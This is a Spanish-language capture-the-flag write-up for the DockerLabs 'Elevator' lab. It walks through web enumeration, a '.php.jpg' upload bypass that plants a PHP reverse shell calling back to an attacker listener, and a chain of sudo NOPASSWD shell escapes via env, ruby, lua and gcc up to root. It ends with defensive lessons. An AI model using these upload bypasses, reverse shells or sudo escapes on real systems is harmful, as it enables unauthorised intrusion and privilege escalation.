> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/elevator.md).

# Elevator

***

## 1. Reconocimiento

Lo primero es identificar qué servicios están corriendo en la máquina objetivo. Se utiliza **Nmap** con detección de versiones y scripts por defecto contra la IP `172.17.0.2`.

```bash
sudo nmap -sV -p- -T4 172.17.0.2
```

**Resultados relevantes:**

| Puerto | Estado | Servicio | Versión                      |
| ------ | ------ | -------- | ---------------------------- |
| 80/tcp | open   | http     | Apache httpd 2.4.62 (Debian) |

Solo hay un puerto abierto. La superficie de ataque es una aplicación web sobre Apache.

![](/files/JnOn4QHaOcs2ccngjue7)

***

## 2. Enumeración de directorios

Con la web en el puerto 80 identificada, se procede a enumerar rutas ocultas usando **Gobuster** con la wordlist `common.txt`.

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php -b 403 --exclude-length 391
```

**Rutas descubiertas (primera pasada):**

| Ruta           | Código | Observación      |
| -------------- | ------ | ---------------- |
| `/index.html`  | 200    | Página principal |
| `/javascript/` | 301    | **Forbidden**    |
| `/themes/`     | 301    | **Forbidden**    |

![](/files/karoKQxJ4e8PhIWlQaX6)

La ruta `/themes/` es interesante aunque devuelva 403. Se realiza una segunda enumeración apuntando directamente a ese subdirectorio con una wordlist más amplia (`DirBuster-2007`).

```bash
gobuster dir -u http://172.17.0.2/themes \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,txt,php,bak,sh,asp,aspx -b 403,404 -t 60
```

**Rutas descubiertas (segunda pasada):**

| Ruta                   | Código | Observación                    |
| ---------------------- | ------ | ------------------------------ |
| `/themes/upload.php`   | 200    | Panel de subida de archivos    |
| `/themes/uploads/`     | 301    | Directorio de archivos subidos |
| `/themes/archivo.html` | 200    | Página adicional               |

Se confirma la existencia de un **formulario de subida de archivos** y un directorio de almacenamiento accesible.

![](/files/VfCW1d516r2N8H5tDfWb)

***

## 3. Explotación — File Upload Bypass

### Análisis del formulario

Navegando a `http://172.17.0.2/themes/upload.php` se encuentra un formulario que, según indica, **solo acepta archivos `.jpg`**. Sin embargo, la validación es del lado del cliente (o superficial en el servidor), lo que permite una técnica clásica de **extensión doble**.

![](/files/AKtRB7zcRPDdclGElcoX)

### Técnica: PHP Webshell con extensión `.php.jpg`

Se crea una reverse shell en PHP usando el payload de **PentestMonkey** (configurado hacia la IP del atacante `172.17.1` en el puerto `9002`) y se guarda con el nombre `shell.php.jpg` para evadir el filtro de extensión.

```bash
nano shell.php.jpg
```

El archivo contiene el payload PHP con los parámetros:

```php
$ip = '172.17.0.1';
$port = 9002;
```

Se sube el archivo a través del formulario. La respuesta del servidor confirma la subida exitosa:

> *"El archivo ha sido subido correctamente: uploads/69e025ea1a791.jpg"*

El archivo es accesible en `/themes/uploads/`.

<div align="left"><img src="/files/sedqBt0QXi4aBbgB4px0" alt=""></div>

***

## 4. Reverse Shell

### Configuración del listener

Antes de ejecutar el payload, se abre un listener con **Netcat** en la máquina atacante:

```bash
nc -lvnp 9002
```

### Ejecución del payload

Se accede directamente a la URL del archivo subido para que Apache lo ejecute como PHP:

```
http://172.17.0.2/themes/uploads/69e025ea1a791.jpg
```

La conexión entrante es recibida por el listener. Se obtiene una shell como `www-data`.

```bash
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

![](/files/3WoY1mU6CvR28Vaf2MMM)

***

## 5. Escalada de privilegios

La escalada sigue una **cadena de usuarios** aprovechando permisos `sudo` mal configurados (`NOPASSWD`). Cada usuario puede ejecutar un binario como el siguiente sin contraseña, y todos estos binarios permiten escapar a una shell.

### Paso 1: `www-data` → `daphne`

```bash
$ sudo -l
# www-data puede ejecutar: (daphne) NOPASSWD: /usr/bin/env

sudo -u daphne /usr/bin/env /bin/sh -p
$ id
uid=1000(daphne) gid=1000(daphne) groups=1000(daphne)
```

<div align="left"><img src="/files/saZcIg9UFZO92Ku582oB" alt=""></div>

### Paso 2: `daphne` → `vilma`

```bash
$ sudo -l
# daphne puede ejecutar: (vilma) NOPASSWD: /usr/bin/ash

sudo -u vilma /usr/bin/ash -p
$ id
uid=1001(vilma) gid=1001(vilma) groups=1001(vilma)
```

![](/files/wEdlcaFbWePPDVWiPikQ)

### Paso 3: `vilma` → `shaggy`

```bash
$ sudo -l
# vilma puede ejecutar: (shaggy) NOPASSWD: /usr/bin/ruby

sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/sh"'
$ id
uid=1002(shaggy) gid=1002(shaggy) groups=1002(shaggy)
```

<div align="left"><img src="/files/3d427ObwIYLuUOFIX9br" alt=""></div>

### Paso 4: `shaggy` → `fred`

```bash
$ sudo -l
# shaggy puede ejecutar: (fred) NOPASSWD: /usr/bin/lua

sudo -u fred /usr/bin/lua -e 'os.execute("/bin/sh")'
$ id
uid=1003(fred) gid=1003(fred) groups=1003(fred)
```

<div align="left"><img src="/files/gCkOEn6xVSh1LtXrktHl" alt=""></div>

### Paso 5: `fred` → `scooby`

```bash
$ sudo -l
# fred puede ejecutar: (scooby) NOPASSWD: /usr/bin/gcc

sudo -u scooby /usr/bin/gcc -wrapper /bin/sh,-s x
$ id
uid=1004(scooby) gid=1004(scooby) groups=1004(scooby)
```

<div align="left"><img src="/files/BMWOAmnRhyfDua7Ok67U" alt=""></div>

### Paso 6: `scooby` → `root`

```bash
$ sudo -l
# scooby puede ejecutar: (root) NOPASSWD: /usr/bin/sudo

sudo -u root /usr/bin/sudo /bin/sh
$ id
uid=0(root) gid=0(root) groups=0(root)
```

**¡Root obtenido!** ðŸŽ‰

<div align="left"><img src="/files/7znTevJxvdYVDXQuxPkM" alt=""></div>

***

## 6. Conclusión

### Resumen de la cadena de ataque

```
Reconocimiento (Nmap)
        ↓
Enumeración web (Gobuster)
        ↓
File Upload Bypass (.php.jpg)
        ↓
Reverse Shell (www-data)
        ↓
www-data → daphne (env)
        ↓
daphne → vilma (ash)
        ↓
vilma → shaggy (ruby)
        ↓
shaggy → fred (lua)
        ↓
fred → scooby (gcc)
        ↓
scooby → ROOT (sudo)
```

### Lecciones aprendidas

* **Validación de ficheros insuficiente:** Nunca confiar únicamente en la extensión del archivo. Implementar validación del tipo MIME real y ejecutar los archivos subidos desde un directorio sin permisos de ejecución de PHP.
* **Configuraciones sudo peligrosas:** El uso de `NOPASSWD` sobre binarios como `env`, `ruby`, `lua` o `gcc` equivale a dar acceso root indirecto. Consultar [GTFOBins](https://gtfobins.github.io) para identificar binarios peligrosos.
* **Principio de mínimo privilegio:** Los usuarios de aplicaciones web (`www-data`) no deberían poder ejecutar comandos como otros usuarios del sistema.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/elevator.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
